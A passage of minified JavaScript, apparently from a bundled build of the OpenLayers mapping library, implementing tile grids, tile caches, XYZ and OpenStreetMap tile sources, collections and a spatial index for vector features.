0!==n?(n[0]=t,n[1]=e,n[2]=i,n):[t,e,i]}function Ds(t,e,i){return t+"/"+e+"/"+i}function ks(t){return Ds(t[0],t[1],t[2])}var js=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Gs=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return js(e,t),e.prototype.expireCache=function(t){for(;this.canExpireCache()&&!(this.peekLast().getKey()in t);)this.pop().release()},e.prototype.pruneExceptNewestZ=function(){if(0!==this.getCount()){var t=this.peekFirstKey().split("/").map(Number)[0];this.forEach(function(e){e.tileCoord[0]!==t&&(this.remove(ks(e.tileCoord)),e.release())}.bind(this))}},e}(Ls),zs=Gs,Ws=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}();function Xs(t){return t?Array.isArray(t)?function(e){return t}:"function"==typeof t?t:function(e){return[t]}:null}var Ns=function(t){function e(e){var i=t.call(this)||this;i.projection=He(e.projection),i.attributions_=Xs(e.attributions),i.attributionsCollapsible_=void 0===e.attributionsCollapsible||e.attributionsCollapsible,i.loading=!1,i.state_=void 0!==e.state?e.state:"ready",i.wrapX_=void 0!==e.wrapX&&e.wrapX,i.interpolate_=!!e.interpolate,i.viewResolver=null,i.viewRejector=null;var n=i;return i.viewPromise_=new Promise((function(t,e){n.viewResolver=t,n.viewRejector=e})),i}return Ws(e,t),e.prototype.getAttributions=function(){return this.attributions_},e.prototype.getAttributionsCollapsible=function(){return this.attributionsCollapsible_},e.prototype.getProjection=function(){return this.projection},e.prototype.getResolutions=function(){return L()},e.prototype.getView=function(){return this.viewPromise_},e.prototype.getState=function(){return this.state_},e.prototype.getWrapX=function(){return this.wrapX_},e.prototype.getInterpolate=function(){return this.interpolate_},e.prototype.refresh=function(){this.changed()},e.prototype.setAttributions=function(t){this.attributions_=Xs(t),this.changed()},e.prototype.setState=function(t){this.state_=t,this.changed()},e}(G),Ys=[0,0,0],Bs=function(){function t(t){var e,i,n;if(this.minZoom=void 0!==t.minZoom?t.minZoom:0,this.resolutions_=t.resolutions,xt((e=this.resolutions_,!0,i=function(t,e){return e-t}||r,e.every((function(t,n){if(0===n)return!0;var o=i(e[n-1],t);return!(o>0||0===o)}))),17),!t.origins)for(var o=0,s=this.resolutions_.length-1;o<s;++o)if(n){if(this.resolutions_[o]/this.resolutions_[o+1]!==n){n=void 0;break}}else n=this.resolutions_[o]/this.resolutions_[o+1];this.zoomFactor_=n,this.maxZoom=this.resolutions_.length-1,this.origin_=void 0!==t.origin?t.origin:null,this.origins_=null,void 0!==t.origins&&(this.origins_=t.origins,xt(this.origins_.length==this.resolutions_.length,20));var a=t.extent;void 0===a||this.origin_||this.origins_||(this.origin_=Ae(a)),xt(!this.origin_&&this.origins_||this.origin_&&!this.origins_,18),this.tileSizes_=null,void 0!==t.tileSizes&&(this.tileSizes_=t.tileSizes,xt(this.tileSizes_.length==this.resolutions_.length,19)),this.tileSize_=void 0!==t.tileSize?t.tileSize:this.tileSizes_?null:256,xt(!this.tileSize_&&this.tileSizes_||this.tileSize_&&!this.tileSizes_,22),this.extent_=void 0!==a?a:null,this.fullTileRanges_=null,this.tmpSize_=[0,0],this.tmpExtent_=[0,0,0,0],void 0!==t.sizes?this.fullTileRanges_=t.sizes.map((function(t,e){var i=new Mo(Math.min(0,t[0]),Math.max(t[0]-1,-1),Math.min(0,t[1]),Math.max(t[1]-1,-1));if(a){var n=this.getTileRangeForExtentAndZ(a,e);i.minX=Math.max(n.minX,i.minX),i.maxX=Math.min(n.maxX,i.maxX),i.minY=Math.max(n.minY,i.minY),i.maxY=Math.min(n.maxY,i.maxY)}return i}),this):a&&this.calculateTileRanges_(a)}return t.prototype.forEachTileCoord=function(t,e,i){for(var n=this.getTileRangeForExtentAndZ(t,e),o=n.minX,r=n.maxX;o<=r;++o)for(var s=n.minY,a=n.maxY;s<=a;++s)i([e,o,s])},t.prototype.forEachTileCoordParentTileRange=function(t,e,i,n){var o,r,s=null,a=t[0]-1;for(2===this.zoomFactor_?(o=t[1],r=t[2]):s=this.getTileCoordExtent(t,n);a>=this.minZoom;){if(e(a,2===this.zoomFactor_?Io(o=Math.floor(o/2),o,r=Math.floor(r/2),r,i):this.getTileRangeForExtentAndZ(s,a,i)))return!0;--a}return!1},t.prototype.getExtent=function(){return this.extent_},t.prototype.getMaxZoom=function(){return this.maxZoom},t.prototype.getMinZoom=function(){return this.minZoom},t.prototype.getOrigin=function(t){return this.origin_?this.origin_:this.origins_[t]},t.prototype.getResolution=function(t){return this.resolutions_[t]},t.prototype.getResolutions=function(){return this.resolutions_},t.prototype.getTileCoordChildTileRange=function(t,e,i){if(t[0]<this.maxZoom){if(2===this.zoomFactor_){var n=2*t[1],o=2*t[2];return Io(n,n+1,o,o+1,e)}var r=this.getTileCoordExtent(t,i||this.tmpExtent_);return this.getTileRangeForExtentAndZ(r,t[0]+1,e)}return null},t.prototype.getTileRangeForTileCoordAndZ=function(t,e,i){if(e>this.maxZoom||e<this.minZoom)return null;var n=t[0],o=t[1],r=t[2];if(e===n)return Io(o,r,o,r,i);if(this.zoomFactor_){var s=Math.pow(this.zoomFactor_,e-n),a=Math.floor(o*s),l=Math.floor(r*s);return e<n?Io(a,a,l,l,i):Io(a,Math.floor(s*(o+1))-1,l,Math.floor(s*(r+1))-1,i)}var h=this.getTileCoordExtent(t,this.tmpExtent_);return this.getTileRangeForExtentAndZ(h,e,i)},t.prototype.getTileRangeExtent=function(t,e,i){var n=this.getOrigin(t),o=this.getResolution(t),r=Lo(this.getTileSize(t),this.tmpSize_),s=n[0]+e.minX*r[0]*o,a=n[0]+(e.maxX+1)*r[0]*o;return ye(s,n[1]+e.minY*r[1]*o,a,n[1]+(e.maxY+1)*r[1]*o,i)},t.prototype.getTileRangeForExtentAndZ=function(t,e,i){var n=Ys;this.getTileCoordForXYAndZ_(t[0],t[3],e,!1,n);var o=n[1],r=n[2];return this.getTileCoordForXYAndZ_(t[2],t[1],e,!0,n),Io(o,n[1],r,n[2],i)},t.prototype.getTileCoordCenter=function(t){var e=this.getOrigin(t[0]),i=this.getResolution(t[0]),n=Lo(this.getTileSize(t[0]),this.tmpSize_);return[e[0]+(t[1]+.5)*n[0]*i,e[1]-(t[2]+.5)*n[1]*i]},t.prototype.getTileCoordExtent=function(t,e){var i=this.getOrigin(t[0]),n=this.getResolution(t[0]),o=Lo(this.getTileSize(t[0]),this.tmpSize_),r=i[0]+t[1]*o[0]*n,s=i[1]-(t[2]+1)*o[1]*n;return ye(r,s,r+o[0]*n,s+o[1]*n,e)},t.prototype.getTileCoordForCoordAndResolution=function(t,e,i){return this.getTileCoordForXYAndResolution_(t[0],t[1],e,!1,i)},t.prototype.getTileCoordForXYAndResolution_=function(t,e,i,n,o){var r=this.getZForResolution(i),s=i/this.getResolution(r),a=this.getOrigin(r),l=Lo(this.getTileSize(r),this.tmpSize_),h=s*(t-a[0])/i/l[0],u=s*(a[1]-e)/i/l[1];return n?(h=Mt(h,5)-1,u=Mt(u,5)-1):(h=It(h,5),u=It(u,5)),As(r,h,u,o)},t.prototype.getTileCoordForXYAndZ_=function(t,e,i,n,o){var r=this.getOrigin(i),s=this.getResolution(i),a=Lo(this.getTileSize(i),this.tmpSize_),l=(t-r[0])/s/a[0],h=(r[1]-e)/s/a[1];return n?(l=Mt(l,5)-1,h=Mt(h,5)-1):(l=It(l,5),h=It(h,5)),As(i,l,h,o)},t.prototype.getTileCoordForCoordAndZ=function(t,e,i){return this.getTileCoordForXYAndZ_(t[0],t[1],e,!1,i)},t.prototype.getTileCoordResolution=function(t){return this.resolutions_[t[0]]},t.prototype.getTileSize=function(t){return this.tileSize_?this.tileSize_:this.tileSizes_[t]},t.prototype.getFullTileRange=function(t){return this.fullTileRanges_?this.fullTileRanges_[t]:this.extent_?this.getTileRangeForExtentAndZ(this.extent_,t):null},t.prototype.getZForResolution=function(t,e){return Ct(s(this.resolutions_,t,e||0),this.minZoom,this.maxZoom)},t.prototype.tileCoordIntersectsViewport=function(t,e){return cn(e,0,e.length,2,this.getTileCoordExtent(t))},t.prototype.calculateTileRanges_=function(t){for(var e=this.resolutions_.length,i=new Array(e),n=this.minZoom;n<e;++n)i[n]=this.getTileRangeForExtentAndZ(t,n);this.fullTileRanges_=i},t}();function Ks(t){var e=t.getDefaultTileGrid();return e||(e=function(t,e,i,n){return function(t,e,i,n){var o=Zs(t,undefined,i);return new Bs({extent:t,origin:Pe(t,"top-left"),resolutions:o,tileSize:i})}(Vs(t),0,void 0)}(t),t.setDefaultTileGrid(e)),e}function Zs(t,e,i,n){for(var o=void 0!==e?e:42,r=Fe(t),s=ke(t),a=Lo(void 0!==i?i:256),l=n>0?n:Math.max(s/a[0],r/a[1]),h=o+1,u=new Array(h),c=0;c<h;++c)u[c]=l/Math.pow(2,c);return u}function Vs(t){var e=(t=He(t)).getExtent();if(!e){var i=180*Bt[Kt.DEGREES]/t.getMetersPerUnit();e=ye(-i,-i,i,i)}return e}var Us=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Hs=function(t){function e(e){var i=t.call(this,{attributions:e.attributions,attributionsCollapsible:e.attributionsCollapsible,projection:e.projection,state:e.state,wrapX:e.wrapX,interpolate:e.interpolate})||this;return i.on,i.once,i.un,i.opaque_=void 0!==e.opaque&&e.opaque,i.tilePixelRatio_=void 0!==e.tilePixelRatio?e.tilePixelRatio:1,i.tileGrid=void 0!==e.tileGrid?e.tileGrid:null,i.tileGrid&&Lo(i.tileGrid.getTileSize(i.tileGrid.getMinZoom()),[256,256]),i.tileCache=new zs(e.cacheSize||0),i.tmpSize=[0,0],i.key_=e.key||"",i.tileOptions={transition:e.transition,interpolate:e.interpolate},i.zDirection=e.zDirection?e.zDirection:0,i}return Us(e,t),e.prototype.canExpireCache=function(){return this.tileCache.canExpireCache()},e.prototype.expireCache=function(t,e){var i=this.getTileCacheForProjection(t);i&&i.expireCache(e)},e.prototype.forEachLoadedTile=function(t,e,i,n){var o=this.getTileCacheForProjection(t);if(!o)return!1;for(var r,s,a,l=!0,h=i.minX;h<=i.maxX;++h)for(var u=i.minY;u<=i.maxY;++u)s=Ds(e,h,u),a=!1,o.containsKey(s)&&(a=2===(r=o.get(s)).getState())&&(a=!1!==n(r)),a||(l=!1);return l},e.prototype.getGutterForProjection=function(t){return 0},e.prototype.getKey=function(){return this.key_},e.prototype.setKey=function(t){this.key_!==t&&(this.key_=t,this.changed())},e.prototype.getOpaque=function(t){return this.opaque_},e.prototype.getResolutions=function(){return this.tileGrid?this.tileGrid.getResolutions():null},e.prototype.getTile=function(t,e,i,n,o){return L()},e.prototype.getTileGrid=function(){return this.tileGrid},e.prototype.getTileGridForProjection=function(t){return this.tileGrid?this.tileGrid:Ks(t)},e.prototype.getTileCacheForProjection=function(t){var e=this.getProjection();return xt(null===e||$e(e,t),68),this.tileCache},e.prototype.getTilePixelRatio=function(t){return this.tilePixelRatio_},e.prototype.getTilePixelSize=function(t,e,i){var n,o,r,s=this.getTileGridForProjection(i),a=this.getTilePixelRatio(e),l=Lo(s.getTileSize(t),this.tmpSize);return 1==a?l:(n=l,o=a,void 0===(r=this.tmpSize)&&(r=[0,0]),r[0]=n[0]*o+.5|0,r[1]=n[1]*o+.5|0,r)},e.prototype.getTileCoordForTileUrlFunction=function(t,e){var i=void 0!==e?e:this.getProjection(),n=this.getTileGridForProjection(i);return this.getWrapX()&&i.isGlobal()&&(t=function(t,e,i){var n=e[0],o=t.getTileCoordCenter(e),r=Vs(i);if(fe(r,o))return e;var s=ke(r),a=Math.ceil((r[0]-o[0])/s);return o[0]+=s*a,t.getTileCoordForCoordAndZ(o,n)}(n,t,i)),function(t,e){var i=t[0],n=t[1],o=t[2];if(e.getMinZoom()>i||i>e.getMaxZoom())return!1;var r=e.getFullTileRange(i);return!r||r.containsXY(n,o)}(t,n)?t:null},e.prototype.clear=function(){this.tileCache.clear()},e.prototype.refresh=function(){this.clear(),t.prototype.refresh.call(this)},e.prototype.updateCacheSize=function(t,e){var i=this.getTileCacheForProjection(e);t>i.highWaterMark&&(i.highWaterMark=t)},e.prototype.useTile=function(t,e,i,n){},e}(Ns),qs=function(t){function e(e,i){var n=t.call(this,e)||this;return n.tile=i,n}return Us(e,t),e}(t),Js=Hs;function Qs(t,e){var i=/\{z\}/g,n=/\{x\}/g,o=/\{y\}/g,r=/\{-y\}/g;return function(s,a,l){return s?t.replace(i,s[0].toString()).replace(n,s[1].toString()).replace(o,s[2].toString()).replace(r,(function(){var t=s[0],i=e.getFullTileRange(t);return xt(i,55),(i.getHeight()-s[2]-1).toString()})):void 0}}var $s=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ta=function(t){function e(i){var n=t.call(this,{attributions:i.attributions,cacheSize:i.cacheSize,opaque:i.opaque,projection:i.projection,state:i.state,tileGrid:i.tileGrid,tilePixelRatio:i.tilePixelRatio,wrapX:i.wrapX,transition:i.transition,interpolate:i.interpolate,key:i.key,attributionsCollapsible:i.attributionsCollapsible,zDirection:i.zDirection})||this;return n.generateTileUrlFunction_=n.tileUrlFunction===e.prototype.tileUrlFunction,n.tileLoadFunction=i.tileLoadFunction,i.tileUrlFunction&&(n.tileUrlFunction=i.tileUrlFunction),n.urls=null,i.urls?n.setUrls(i.urls):i.url&&n.setUrl(i.url),n.tileLoadingKeys_={},n}return $s(e,t),e.prototype.getTileLoadFunction=function(){return this.tileLoadFunction},e.prototype.getTileUrlFunction=function(){return Object.getPrototypeOf(this).tileUrlFunction===this.tileUrlFunction?this.tileUrlFunction.bind(this):this.tileUrlFunction},e.prototype.getUrls=function(){return this.urls},e.prototype.handleTileChange=function(t){var e,i=t.target,n=D(i),o=i.getState();1==o?(this.tileLoadingKeys_[n]=!0,e="tileloadstart"):n in this.tileLoadingKeys_&&(delete this.tileLoadingKeys_[n],e=3==o?"tileloaderror":2==o?"tileloadend":void 0),null!=e&&this.dispatchEvent(new qs(e,i))},e.prototype.setTileLoadFunction=function(t){this.tileCache.clear(),this.tileLoadFunction=t,this.changed()},e.prototype.setTileUrlFunction=function(t,e){this.tileUrlFunction=t,this.tileCache.pruneExceptNewestZ(),void 0!==e?this.setKey(e):this.changed()},e.prototype.setUrl=function(t){var e=function(t){var e=[],i=/\{([a-z])-([a-z])\}/.exec(t);if(i){var n=i[1].charCodeAt(0),o=i[2].charCodeAt(0),r=void 0;for(r=n;r<=o;++r)e.push(t.replace(i[0],String.fromCharCode(r)));return e}if(i=/\{(\d+)-(\d+)\}/.exec(t)){for(var s=parseInt(i[2],10),a=parseInt(i[1],10);a<=s;a++)e.push(t.replace(i[0],a.toString()));return e}return e.push(t),e}(t);this.urls=e,this.setUrls(e)},e.prototype.setUrls=function(t){this.urls=t;var e=t.join("\n");this.generateTileUrlFunction_?this.setTileUrlFunction(function(t,e){for(var i=t.length,n=new Array(i),o=0;o<i;++o)n[o]=Qs(t[o],e);return function(t){return 1===t.length?t[0]:function(e,i,n){if(e){var o=function(t){return(t[1]<<t[0])+t[2]}(e),r=Ot(o,t.length);return t[r](e,i,n)}}}(n)}(t,this.tileGrid),e):this.setKey(e)},e.prototype.tileUrlFunction=function(t,e,i){},e.prototype.useTile=function(t,e,i){var n=Ds(t,e,i);this.tileCache.containsKey(n)&&this.tileCache.get(n)},e}(Js),ea=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ia=function(t){function e(e){var i=this,n=void 0===e.imageSmoothing||e.imageSmoothing;return void 0!==e.interpolate&&(n=e.interpolate),(i=t.call(this,{attributions:e.attributions,cacheSize:e.cacheSize,opaque:e.opaque,projection:e.projection,state:e.state,tileGrid:e.tileGrid,tileLoadFunction:e.tileLoadFunction?e.tileLoadFunction:na,tilePixelRatio:e.tilePixelRatio,tileUrlFunction:e.tileUrlFunction,url:e.url,urls:e.urls,wrapX:e.wrapX,transition:e.transition,interpolate:n,key:e.key,attributionsCollapsible:e.attributionsCollapsible,zDirection:e.zDirection})||this).crossOrigin=void 0!==e.crossOrigin?e.crossOrigin:null,i.tileClass=void 0!==e.tileClass?e.tileClass:mo,i.tileCacheForProjection={},i.tileGridForProjection={},i.reprojectionErrorThreshold_=e.reprojectionErrorThreshold,i.renderReprojectionEdges_=!1,i}return ea(e,t),e.prototype.canExpireCache=function(){if(this.tileCache.canExpireCache())return!0;for(var t in this.tileCacheForProjection)if(this.tileCacheForProjection[t].canExpireCache())return!0;return!1},e.prototype.expireCache=function(t,e){var i=this.getTileCacheForProjection(t);for(var n in this.tileCache.expireCache(this.tileCache==i?e:{}),this.tileCacheForProjection){var o=this.tileCacheForProjection[n];o.expireCache(o==i?e:{})}},e.prototype.getGutterForProjection=function(t){return this.getProjection()&&t&&!$e(this.getProjection(),t)?0:this.getGutter()},e.prototype.getGutter=function(){return 0},e.prototype.getKey=function(){var e=t.prototype.getKey.call(this);return this.getInterpolate()||(e+=":disable-interpolation"),e},e.prototype.getOpaque=function(e){return!(this.getProjection()&&e&&!$e(this.getProjection(),e))&&t.prototype.getOpaque.call(this,e)},e.prototype.getTileGridForProjection=function(t){var e=this.getProjection();if(!this.tileGrid||e&&!$e(e,t)){var i=D(t);return i in this.tileGridForProjection||(this.tileGridForProjection[i]=Ks(t)),this.tileGridForProjection[i]}return this.tileGrid},e.prototype.getTileCacheForProjection=function(t){var e=this.getProjection();if(!e||$e(e,t))return this.tileCache;var i=D(t);return i in this.tileCacheForProjection||(this.tileCacheForProjection[i]=new zs(this.tileCache.highWaterMark)),this.tileCacheForProjection[i]},e.prototype.createTile_=function(t,e,i,n,o,r){var s=[t,e,i],a=this.getTileCoordForTileUrlFunction(s,o),l=a?this.tileUrlFunction(a,n,o):void 0,h=new this.tileClass(s,void 0!==l?0:4,void 0!==l?l:"",this.crossOrigin,this.tileLoadFunction,this.tileOptions);return h.key=r,h.addEventListener(x,this.handleTileChange.bind(this)),h},e.prototype.getTile=function(t,e,i,n,o){var r=this.getProjection();if(r&&o&&!$e(r,o)){var s=this.getTileCacheForProjection(o),a=[t,e,i],l=void 0,h=ks(a);s.containsKey(h)&&(l=s.get(h));var u=this.getKey();if(l&&l.key==u)return l;var c=this.getTileGridForProjection(r),p=this.getTileGridForProjection(o),f=this.getTileCoordForTileUrlFunction(a,o),d=new Ro(r,c,o,p,a,f,this.getTilePixelRatio(n),this.getGutter(),function(t,e,i,n){return this.getTileInternal(t,e,i,n,r)}.bind(this),this.reprojectionErrorThreshold_,this.renderReprojectionEdges_,this.getInterpolate());return d.key=u,l?(d.interimTile=l,d.refreshInterimChain(),s.replace(h,d)):s.set(h,d),d}return this.getTileInternal(t,e,i,n,r||o)},e.prototype.getTileInternal=function(t,e,i,n,o){var r=null,s=Ds(t,e,i),a=this.getKey();if(this.tileCache.containsKey(s)){if((r=this.tileCache.get(s)).key!=a){var l=r;r=this.createTile_(t,e,i,n,o,a),0==l.getState()?r.interimTile=l.interimTile:r.interimTile=l,r.refreshInterimChain(),this.tileCache.replace(s,r)}}else r=this.createTile_(t,e,i,n,o,a),this.tileCache.set(s,r);return r},e.prototype.setRenderReprojectionEdges=function(t){if(this.renderReprojectionEdges_!=t){for(var e in this.renderReprojectionEdges_=t,this.tileCacheForProjection)this.tileCacheForProjection[e].clear();this.changed()}},e.prototype.setTileGridForProjection=function(t,e){var i=He(t);if(i){var n=D(i);n in this.tileGridForProjection||(this.tileGridForProjection[n]=e)}},e}(ta);function na(t,e){t.getImage().src=e}var oa=ia,ra=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),sa=function(t){function e(e){var i=this,n=e||{},o=void 0===n.imageSmoothing||n.imageSmoothing;void 0!==n.interpolate&&(o=n.interpolate);var r=void 0!==n.projection?n.projection:"EPSG:3857",s=void 0!==n.tileGrid?n.tileGrid:function(t){var e=t||{},i=e.extent||He("EPSG:3857").getExtent(),n={extent:i,minZoom:e.minZoom,tileSize:e.tileSize,resolutions:Zs(i,e.maxZoom,e.tileSize,e.maxResolution)};return new Bs(n)}({extent:Vs(r),maxResolution:n.maxResolution,maxZoom:n.maxZoom,minZoom:n.minZoom,tileSize:n.tileSize});return(i=t.call(this,{attributions:n.attributions,cacheSize:n.cacheSize,crossOrigin:n.crossOrigin,interpolate:o,opaque:n.opaque,projection:r,reprojectionErrorThreshold:n.reprojectionErrorThreshold,tileGrid:s,tileLoadFunction:n.tileLoadFunction,tilePixelRatio:n.tilePixelRatio,tileUrlFunction:n.tileUrlFunction,url:n.url,urls:n.urls,wrapX:void 0===n.wrapX||n.wrapX,transition:n.transition,attributionsCollapsible:n.attributionsCollapsible,zDirection:n.zDirection})||this).gutter_=void 0!==n.gutter?n.gutter:0,i}return ra(e,t),e.prototype.getGutter=function(){return this.gutter_},e}(oa),aa=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),la=function(t){function e(e){var i,n=e||{},o=void 0===n.imageSmoothing||n.imageSmoothing;void 0!==n.interpolate&&(o=n.interpolate),i=void 0!==n.attributions?n.attributions:['© <a href="https://www.openstreetmap.org/copyright" target="_blank">OpenStreetMap</a> contributors.'];var r=void 0!==n.crossOrigin?n.crossOrigin:"anonymous",s=void 0!==n.url?n.url:"https://{a-c}.tile.openstreetmap.org/{z}/{x}/{y}.png";return t.call(this,{attributions:i,attributionsCollapsible:!1,cacheSize:n.cacheSize,crossOrigin:r,interpolate:o,maxZoom:void 0!==n.maxZoom?n.maxZoom:19,opaque:void 0===n.opaque||n.opaque,reprojectionErrorThreshold:n.reprojectionErrorThreshold,tileLoadFunction:n.tileLoadFunction,transition:n.transition,url:s,wrapX:n.wrapX,zDirection:n.zDirection})||this}return aa(e,t),e}(sa),ha="add",ua="remove",ca=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),pa="length",fa=function(t){function e(e,i,n){var o=t.call(this,e)||this;return o.element=i,o.index=n,o}return ca(e,t),e}(t),da=function(t){function e(e,i){var n=t.call(this)||this;n.on,n.once,n.un;var o=i||{};if(n.unique_=!!o.unique,n.array_=e||[],n.unique_)for(var r=0,s=n.array_.length;r<s;++r)n.assertUnique_(n.array_[r],r);return n.updateLength_(),n}return ca(e,t),e.prototype.clear=function(){for(;this.getLength()>0;)this.pop()},e.prototype.extend=function(t){for(var e=0,i=t.length;e<i;++e)this.push(t[e]);return this},e.prototype.forEach=function(t){for(var e=this.array_,i=0,n=e.length;i<n;++i)t(e[i],i,e)},e.prototype.getArray=function(){return this.array_},e.prototype.item=function(t){return this.array_[t]},e.prototype.getLength=function(){return this.get(pa)},e.prototype.insertAt=function(t,e){this.unique_&&this.assertUnique_(e),this.array_.splice(t,0,e),this.updateLength_(),this.dispatchEvent(new fa(ha,e,t))},e.prototype.pop=function(){return this.removeAt(this.getLength()-1)},e.prototype.push=function(t){this.unique_&&this.assertUnique_(t);var e=this.getLength();return this.insertAt(e,t),this.getLength()},e.prototype.remove=function(t){for(var e=this.array_,i=0,n=e.length;i<n;++i)if(e[i]===t)return this.removeAt(i)},e.prototype.removeAt=function(t){var e=this.array_[t];return this.array_.splice(t,1),this.updateLength_(),this.dispatchEvent(new fa(ua,e,t)),e},e.prototype.setAt=function(t,e){var i=this.getLength();if(t<i){this.unique_&&this.assertUnique_(e,t);var n=this.array_[t];this.array_[t]=e,this.dispatchEvent(new fa(ua,n,t)),this.dispatchEvent(new fa(ha,e,t))}else{for(var o=i;o<t;++o)this.insertAt(o,void 0);this.insertAt(t,e)}},e.prototype.updateLength_=function(){this.set(pa,this.array_.length)},e.prototype.assertUnique_=function(t,e){for(var i=0,n=this.array_.length;i<n;++i)if(this.array_[i]===t&&i!==e)throw new mt(58)},e}(G),ga=function(){function t(t){this.rbush_=new zo(t),this.items_={}}return t.prototype.insert=function(t,e){var i={minX:t[0],minY:t[1],maxX:t[2],maxY:t[3],value:e};this.rbush_.insert(i),this.items_[D(e)]=i},t.prototype.load=function(t,e){for(var i=new Array(e.length),n=0,o=e.length;n<o;n++){var r=t[n],s=e[n],a={minX:r[0],minY:r[1],maxX:r[2],maxY:r[3],value:s};i[n]=a,this.items_[D(s)]=a}this.rbush_.load(i)},t.prototype.remove=function(t){var e=D(t),i=this.items_[e];return delete this.items_[e],null!==this.rbush_.remove(i)},t.prototype.update=function(t,e){var i=this.items_[D(e)];xe([i.minX,i.minY,i.maxX,i.maxY],t)||(this.remove(e),this.insert(t,e))},t.prototype.getAll=function(){return this.rbush_.all().map((function(t){return t.value}))},t.prototype.getInExtent=function(t){var e={minX:t[0],minY:t[1],maxX:t[2],maxY:t[3]};return this.rbush_.search(e).map((function(t){return t.value}))},t.prototype.forEach=function(t){return this.forEach_(this.getAll(),t)},t.prototype.forEachInExtent=function(t,e){return this.forEach_(this.getInExtent(t),e)},t.prototype.forEach_=function(t,e){for(var i,n=0,o=t.length;n<o;n++)if(i=e(t[n]))return i;return i},t.prototype.isEmpty=function(){return _(this.items_)},t.prototype.clear=function(){this.rbush_.clear(),this.items_={}},t.prototype.getExtent=function(t){var e=this.rbush_.toJSON();return ye(e.minX,e.minY,e.maxX,e.maxY,t)},t.prototype.concat=function(t){for(var e in this.rbush_.load(t.rbush_.all()),t.items_)this.items_[e]=t.items_[e]},t}(),_a="addfeature",ya="removefeature";function va(t,e){return[[-1/0,-1/0,1/0,1/0]]}function ma(t,e){return function(i,n,o,r,s){var a=this;!function(t,e,i,n,o,r,s){var a=new XMLHttpRequest;a.open("GET","function"==typeof t?t(i,n,o):t,!0),"arraybuffer"==e.getType()&&(a.responseType="arraybuffer"),a.withCredentials=false,a.onload=function(t){if(!a.status||a.status>=200&&a.status<300){var n=e.getType(),l=void 0;"json"==n||"text"==n?l=a.responseText:"xml"==n?(l=a.responseXML)||(l=(new DOMParser).parseFromString(a.responseText,"application/xml")):"arraybuffer"==n&&(l=a.response),l?r(e.readFeatures(l,{extent:i,featureProjection:o}),e.readProjection(l)):s()}else s()},a.onerror=s,a.send()}(t,e,i,n,o,(function(t,e){a.addFeatures(t),void 0!==r&&r(t)}),s||p)}}var xa=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ca=function(t){function e(e,i,n){var o=t.call(this,e)||this;return o.feature=i,o.features=n,o}return xa(e,t),e}(t),wa=function(t){function i(e){var i=this,n=e||{};(i=t.call(this,{attributions:n.attributions,interpolate:!0,projection:void 0,state:"ready",wrapX:void 